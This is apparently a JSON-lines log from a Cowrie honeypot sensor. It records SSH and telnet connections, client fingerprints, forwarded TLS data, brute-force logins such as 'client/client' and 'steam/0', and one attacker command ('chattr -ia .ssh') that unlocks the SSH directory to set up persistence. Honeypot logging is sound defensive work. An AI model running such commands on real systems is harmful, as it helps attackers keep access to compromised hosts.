{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4_17h\\xa2\\x97\\xa0\\\\\\xd2*\\x05\\xaaUYDUe7R~a:~`Q\\xa6U~\\x87W\\x90 n\\x82'\\xc0z\\x18m3S\\xb3\\x9f\\x9cA\\xeb\\xb5M\\xcd\\n\\x8d\\xe7\\x83U\\xfd`\\x13/\\x03h+\\xe1\\xa8g\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a3I\\x1c\\xb1w\\xb3G\\x13\\x1c\\xd0ne\\xefa`\\t\\x93\\t\\x17U\\xeb\\x0fal\\x8e\\xb7\\xbbX\\x08\\xcd\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd4_17h\\xa2\\x97\\xa0\\\\\\xd2*\\x05\\xaaUYDUe7R~a:~`Q\\xa6U~\\x87W\\x90 n\\x82'\\xc0z\\x18m3S\\xb3\\x9f\\x9cA\\xeb\\xb5M\\xcd\\n\\x8d\\xe7\\x83U\\xfd`\\x13/\\x03h+\\xe1\\xa8g\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8a3I\\x1c\\xb1w\\xb3G\\x13\\x1c\\xd0ne\\xefa`\\t\\x93\\t\\x17U\\xeb\\x0fal\\x8e\\xb7\\xbbX\\x08\\xcd\\x0f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:57.470190Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:57.754221Z","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:58.034801Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\x1b\\xbar1\\x03\\xe2\\xd3\\xf2^Dn\\xc8\\xef\\x12\\xfah\\x87^9\\x9b\\xb5\\xcaf\\xc0q\\\\\\xad\\x16\\xac\\xda\\x91 \\x01\\xdc8\\xc8l\\xfbA7O\\x9b\\xea\\xf5\\xf3\\x87\\xa6\\x1fqQ\\x9a\\xf6P\\x01{\\xa86\\x17\\xd9\\xce\\x89\\xaf]I\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\xdd\\x05\\xdc\\xd3\\xaf !\\xa3\\x13y\\xfa\\xfeb\\xf8\\x1b\\xac~n\\xe4\\x0f\\xda\\x8e\\xd7\\xb5\\xd9\\xc2\\x16\\xd6z>~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\x1b\\xbar1\\x03\\xe2\\xd3\\xf2^Dn\\xc8\\xef\\x12\\xfah\\x87^9\\x9b\\xb5\\xcaf\\xc0q\\\\\\xad\\x16\\xac\\xda\\x91 \\x01\\xdc8\\xc8l\\xfbA7O\\x9b\\xea\\xf5\\xf3\\x87\\xa6\\x1fqQ\\x9a\\xf6P\\x01{\\xa86\\x17\\xd9\\xce\\x89\\xaf]I\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe3\\xdd\\x05\\xdc\\xd3\\xaf !\\xa3\\x13y\\xfa\\xfeb\\xf8\\x1b\\xac~n\\xe4\\x0f\\xda\\x8e\\xd7\\xb5\\xd9\\xc2\\x16\\xd6z>~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:58.037912Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:09:58.513508Z","src_ip":"113.164.152.20","session":"942877d3e64d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":37874,"dst_ip":"159.203.135.109","dst_port":22,"session":"92159517ac92","protocol":"ssh","message":"New connection: 178.20.210.208:37874 (159.203.135.109:22) [session: 92159517ac92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:08.634698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:08.641352Z","src_ip":"178.20.210.208","session":"92159517ac92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:08.747207Z","src_ip":"178.20.210.208","session":"92159517ac92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"client","message":"login attempt [client/client] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:09.155207Z","src_ip":"178.20.210.208","session":"92159517ac92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:10.263408Z","src_ip":"178.20.210.208","session":"92159517ac92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.5812041759491,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:19.120724Z","src_ip":"103.249.87.183","session":"483496ca6c74","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.121161222457886,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:35.976137Z","src_ip":"128.199.8.54","session":"f5f7416300a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60514,"dst_ip":"159.203.135.109","dst_port":23,"session":"d74ba0be02bd","protocol":"telnet","message":"New connection: 172.81.62.90:60514 (159.203.135.109:23) [session: d74ba0be02bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:10:59.615957Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":48210,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f8b12ca4d9c","protocol":"telnet","message":"New connection: 103.249.87.183:48210 (159.203.135.109:23) [session: 5f8b12ca4d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:09.877853Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":44848,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5358daf4546","protocol":"ssh","message":"New connection: 101.79.165.43:44848 (159.203.135.109:22) [session: b5358daf4546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:19.542089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:19.546454Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:19.764572Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61013,"dst_ip":"10.17.0.5","dst_port":22,"session":"c12f97787e68","protocol":"ssh","message":"New connection: 123.27.168.40:61013 (10.17.0.5:22) [session: c12f97787e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:20.669421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:20.673367Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"0","message":"login attempt [steam/0] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:20.676609Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:20.980546Z","src_ip":"123.27.168.40","session":"c12f97787e68","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:21.152453Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:21.155504Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:11:21.158694Z","src_ip":"101.79.165.43","session":"b5358daf4546","protocol":"ssh"}
